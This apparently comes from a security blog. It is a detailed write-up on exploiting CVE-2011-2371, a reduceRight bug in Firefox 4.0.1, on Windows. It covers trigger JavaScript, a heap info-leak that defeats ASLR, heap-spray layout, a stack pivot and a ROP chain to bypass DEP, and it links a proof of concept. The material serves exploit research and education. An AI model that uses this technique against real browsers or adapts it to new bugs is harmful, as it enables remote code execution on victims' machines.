Home > Exploit development > Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules

Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules

CVE-2011-2371 (found by Chris Rohlf and Yan Ivnitskiy) is a bug in Firefox versions <= 4.0.1. It has an interesting property of being a code-exec and an info-leak bug at the same time. Unfortunately, all public exploits targeting this vulnerability rely on non-ASLR modules (like those present in Java).

In this post I’ll show how to exploit this vulnerability on Firefox 4.0.1/Window 7, by leaking imagebase of one of Firefox’s modules, thus circumventing ASLR without any additional dependencies.

The bug


You can see the original bug report with detailed analysis here. To make a long story short, this is the trigger:

xyz = new Array;
xyz.length = 0x80100000;

a = function foo(prev, current, index, array) {
	current[0] = 0x41424344;


Executing it crashes Firefox:

eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208
eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
004f0be1 8b14c8          mov     edx,dword ptr [eax+ecx*8] ds:0023:04d4f228=????????

eax holds a pointer to “xyz” array and ecx is equal to xyz.length-1. reduceRight visits all elements of given array in reverse order, so if the read @ 004f0be1 succeeds and we won’t crash inside the callback function (foo), JS interpreter will loop the above code with decreasing values in ecx.

Value read @ 004f0be1 is passed to foo() as the “current” argument. This means we can trick the JS interpreter into passing random stuff from heap to our javascript callback. Notice we fully control the array’s length, and since ecx is multiplied by 8 (bitshifted left by 3 bits), we can access memory before of after the array, by setting/clearing the 29th bit of length. Neat :).

During reduceRight(), the interpreter expects jsval_layout unions:


274 typedef union jsval_layout
275 {
276     uint64 asBits;
277     struct {
278         union {
279             int32          i32;
280             uint32         u32;
281             JSBool         boo;
282             JSString       *str;
283             JSObject       *obj;
284             void           *ptr;
285             JSWhyMagic     why;
286             jsuword        word;
287         } payload;
288         JSValueTag tag;
289     } s;
290     double asDouble;
291     void *asPtr;
292 } jsval_layout;

To be more specific, we are interested in the “payload” struct. Possible values for “tag” are:


92 JS_ENUM_HEADER(JSValueType, uint8)
93 {
94     JSVAL_TYPE_DOUBLE              = 0x00,
95     JSVAL_TYPE_INT32               = 0x01,
96     JSVAL_TYPE_UNDEFINED           = 0x02,
97     JSVAL_TYPE_BOOLEAN             = 0x03,
98     JSVAL_TYPE_MAGIC               = 0x04,
99     JSVAL_TYPE_STRING              = 0x05,
100     JSVAL_TYPE_NULL                = 0x06,
101     JSVAL_TYPE_OBJECT              = 0x07,
119 JS_ENUM_HEADER(JSValueTag, uint32)
120 {
121     JSVAL_TAG_CLEAR                = 0xFFFF0000,
122     JSVAL_TAG_INT32                = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32,
129 } JS_ENUM_FOOTER(JSValueTag);

Does it mean we can only read first dwords of pairs (d1,d2), where d2=JSVAL_TAG_INT32 or d2=JSVAL_TYPE_DOUBLE? Fortunately for us, no. Observe how the interpreter checks if a jsval_layout is a number:


405 static JS_ALWAYS_INLINE JSBool
406 JSVAL_IS_NUMBER_IMPL(jsval_layout l)
407 {
408     JSValueTag tag = l.s.tag;
409     JS_ASSERT(tag != JSVAL_TAG_CLEAR);
410     return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET;

So any pair of dwords (d1, d2), with d2<=JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (which is equal to JSVAL_TAG_INT32) is interpreted as a number.

This isn’t the end of good news, check how doubles are recognized:


369 static JS_ALWAYS_INLINE JSBool
370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l)
371 {
372     return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR;
373 }

This means that any pair (d1,d2) with d2<=0xffff0000 is interpreted as a double-precision floating point number. It’s a clever way of saving space, since doubles with all bits of the exponent set and nonzero mantissa are NaNs anyway, so rejecting doubles greater than 0xffff 0000 0000 0000 0000 isn’t really a problem — we are just throwing out NaNs.


Leaking the image base


Knowing that most of values read off the heap are interpreted as doubles in our javascript callback (function foo above), we can use a library like JSPack to decode them to byte sequences.

        var leak_func =
            function bleh(prev, current, index, array) {
                if(typeof current == "number"){
                    mem.push(current); //decode with JSPack later
                count += 1;
                    throw "lol"; //stop dumping

Notice that we are verifying the type of “current”. It’s necessary because if we encounter a jsval_value of type OBJECT, manipulating it later will cause an undesired crash.

Having a chunk of memory, we still need to comb it for values revealing the image base of mozjs.dll (that’s the module implementing reduceRight). Good candidates are pointers to functions in .code section, or pointers to data structures in .data, but how to find them? After all, they change with every run, because of varying image base.

By examining dumped memory manually, I noticed it’s always possible to find a pair of pointers (with fixed RVAs) to .data section, differing by a constant (0×304), so a simple algorithm is to sequentially scan pairs of dwords, check if their difference is 0×304 and use their (known) RVAs to calculate mozjs’ image base (image_base = ptr_va – ptr_rva).

It’s a heuristic, but it works 100% of the time :) .


Taking control


Assume we are able to pass a controlled jsval_layout with tag=JSVAL_TYPE_OBJECT to our JS callback. Here’s what happens after executing “current[0]=1” if the “payload.ptr” field points to an area filled with \x88:

eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888
eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
655301a9 8b4764          mov     eax,dword ptr [edi+64h] ds:002b:888888ec=????????

0:000> k
ChildEBP RetAddr
0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567]
0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619]
0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857]
0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]

We are using \x88 as a filler, so that every pointer taken from that area is equal to 0x88888888. Since the highest bit is set (and the pointer points to kernel space), every dereference will cause a crash and we will notice it under a debugger. Using low values, like 0x0c, as a filler during exploit development can make us miss crashes, if 0x0c0c0c0c happens to be mapped :P.

It seems like we can control the value of edi. Let’s see if it’s of any use:

0:000> u eip l10
mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]:
655301a9 8b4764          mov     eax,dword ptr [edi+64h]
655301ac 85c0            test    eax,eax
655301ae 7505            jne     mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5)
655301b0 b830bb4965      mov     eax,offset mozjs!js_SetProperty (6549bb30)
655301b5 8b54241c        mov     edx,dword ptr [esp+1Ch]
655301b9 6a00            push    0
655301bb 8d4c2424        lea     ecx,[esp+24h]
655301bf 51              push    ecx
655301c0 53              push    ebx
655301c1 55              push    ebp
655301c2 52              push    edx
655301c3 ffd0            call    eax
655301c5 83c414          add     esp,14h
655301c8 85c0            test    eax,eax

That’s exactly what we need — value from [edi+64h] (edi is controlled) is a function pointer called @ 655301c3.

Where does edi value come from?

0:000> u eip-72 l10
mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]:
65530137 8b7d04          mov     edi,dword ptr [ebp+4]
6553013a 81ffb05f5e65    cmp     edi,offset mozjs!js_ArrayClass (655e5fb0)
65530140 8b5c2414        mov     ebx,dword ptr [esp+14h]
65530144 7563            jne     mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9)

edi=[ebp+4], where ebp is equal to payload.ptr in our jsval_layout union.

It’s now easy to see how to control EIP. Trigger setElem on a controlled jsval_layout union (by executing “current[0]=1” in the JS callback of reduceRight), with tag=JSVAL_TYPE_OBJECT, and ptr=PTR_TO_CONTROLLED_MEM, where [CONTROLLED_MEM+4]=NEW_EIP. Easy ;).

Since ASLR is not an issue (we already have mozjs’ image base) we can circumvent DEP with return oriented programming. With mona.py it’s very easy to generate a ROP chain that will allocate a RWX memory chunk. From that chunk, we can run our “normal” shellcode, without worrying about DEP.

!mona rop -m "mozjs" -rva

“-m” restricts search to just mozjs.dll (that’s the only module with known image base)
“-rva” generates a chain parametrized by module’s image base.

I won’t paste the output, but mona is able to find a chain that uses VirtualAlloc to change memory permissions to RWX.

There’s only one problem. In order to use that chain, we need to control the stack. During the call @ 655301c3, we don’t. Fortunately, we do control EBP, which is equal to layout.ptr field in our fake object. First idea is to use any function’s epilogue:

mov esp, ebp
pop ebp

as a pivot, but notice that RET will transfer control to an address stored in [ebp+4], and since:

65530137 8b7d04          mov     edi,dword ptr [ebp+4]

that would mean [ebp+4] has to be a return address and a pointer to a function pointer called later @ 655301c3.

We have to modify EBP before copying it to ESP. Noticing that during SetElem, property’s id is passed in EBX as 2*id+1 (when executing “current[id] = …”), it’s easy to pick a good gadget:

// 0x68e7a21c, mozjs.dll
// found with mona.py
POP EBP //(2)

This will offset EBP by a controlled ODD value. Unicode chars in JS have two byte chars, so it’s better to have EBP aligned to 2. We can realign ESP by pivoting again with new EBP value popped @ (2) and executing the same gadget from line (1).

This is how our fake object has to look like:

|            |      9       13          17
|pivot_va | ptr | 00,new_ebp,mov_esp_ebp,00 | new_ebp2 | ROP ... normal shellcode ...
0         4     8       |                   18         22
                        |                   ^
                        |                   |

pivot_va – address of the gadget above
new_ebp – value popped at (2) used to realign the stack to 2
mov_esp_ebp – address of (1)
new_ebp2 – new value of EBP after executing (2) for the second time, not used
ROP – generated ROP chain changing memory perms
normal shellcode – message box shellcode by Skylined




Here’s a nice diagram (asciiflow FTW) describing how we are going to arrange (or attempt to arrange) things in memory:

                low addresses
     +-------+ ptr  | 0xffff0007 | ^
     |     +---------------------| |
     |     |                     | |
     |     |         .           | |
     |     |         .           | |
     |     |         .           | |
     |     +---------------------| | half1
     |  +----+ ptr  | 0xffff0007 | |
     |  |  +---------------------| |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |                     | v
     |  |  +-----end of half1----+
     |  |  |                     | ^
     |  |  |                     | |
     |  |  |                     | | margin of
     |  |  |         .           | | error
     |  |  |         .           | |
     |  |  +---------------------+ v
     +--|---> fake object        |
        |  +--^------------------+
        |  |  |      .           |
        |  |  |      .           |
        +-----+                  |
           |                     |
           |                     |
                high addresses

Our spray will consist of two regions. First one will be filled with jsval_layout unions, with tag=0xffff0007 (JSVAL_TYPE_OBJECT) and ptr pointing to the second region, filled with fake objects described above.

If you run the PoC exploit on Windows XP, this is how (most likely) the heap is going to look like:

Zooming into of the 1MB chunks:

Notice how our payload is aligned to 4KB boundary. This is because of how the spray is implemented: unicode strings are stored in an array. Beginning of the array is used to store metadata, and the actual data starts @ +4KB. It’s also useful to note that older versions of FF have a bug related to rounding allocation sizes and, in effect, allocating too much memory for objects (including strings), so instead of nicely aligned strings in array, we will get strings interleaved with chunks containing NULL bytes (I’ll explain why this isn’t a problem in a sec.).

This is how the fake objects from the second part of spray look like:

Four NOPs at the bottom mark the end of mona’s ROP chain.


Putting it all together


  • Leak mozjs’ image base, as described above.
  • Spray the heap with JS, as described above.
  • Note where the spray starts in memory, across different OSes. Different versions of the exploit should use OS-specific constants for calculating array’s length used in reduceRight().
  • Calculate the length of the array (xyz in the trigger PoC) so that the first dereference should happen in the middle of first half of the spray. Aiming at the middle gives us the biggest possible margin of error — if the spray’s starting address deviates from expected value by less than size/2, it shouldn’t affect our exploit.
  • Trigger the bug.
  • Inside JS callback, trigger SetElem, by executing “current[4]=1”. In case of a JS exception (TypeError: current is undefined), change array’s length and continue. These exceptions are caused by NULL areas between strings. Encountering them isn’t fatal, because the JS interpreter sees them as “undefined” values and throws us a JS exception, instead of crashing ;).
  • See a nice messagebox, confirming success 😉




PoC exploit assumes (like all other public exploits for this bug) that the heap is not polluted by previous allocations. This is a bit unrealistic, because the most common “use-case” is that the victim clicks a link leading to the exploit, meaning the browser is already running and most likely has many tabs already opened. In that situation our spray probably won’t be a continuous chunk of memory, which will lead to problems (crashes).

Assuming that the PoC is the first and only page opened in Firefox, probability of success (running shellcode) depends on how long we need to search for mozjs’ image base. The longer it takes, the more trash gets accumulated on the heap, resulting in more “discontinuities” in the spray region.

Get the PoC here.

  1. bw
    01/03/2012 at 15:24

    Great work, I really like the HLL references, keep on posting G 😉

  2. 09/03/2012 at 22:37

    Great write-up 😉 Thanks for posting!

  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: